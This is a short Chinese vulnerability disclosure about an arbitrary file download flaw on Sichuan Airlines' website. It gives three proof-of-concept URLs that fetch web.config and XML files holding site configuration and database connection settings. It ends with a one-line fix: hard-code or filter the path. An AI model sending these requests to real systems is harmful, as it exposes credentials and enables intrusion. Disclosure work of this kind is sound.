四川航空主站任意文件下载下载

四川航空主站任意文件下载没有对路径做限制导致任意文件下载.

http://www.scal.com.cn/Scal.WebMaster/News/Accessory/FileDownL.aspx?lins=/&name=./web.config
http://www.scal.com.cn/Scal.WebMaster/News/Accessory/FileDownL.aspx?lins=/&name=./App_Data/Config.xml
http://www.scal.com.cn/Scal.WebMaster/News/Accessory/FileDownL.aspx?lins=/&name=./App_Data/DbConn.xml

修复方案：

把路径写死就行了.或者自行过滤用户可控的参数.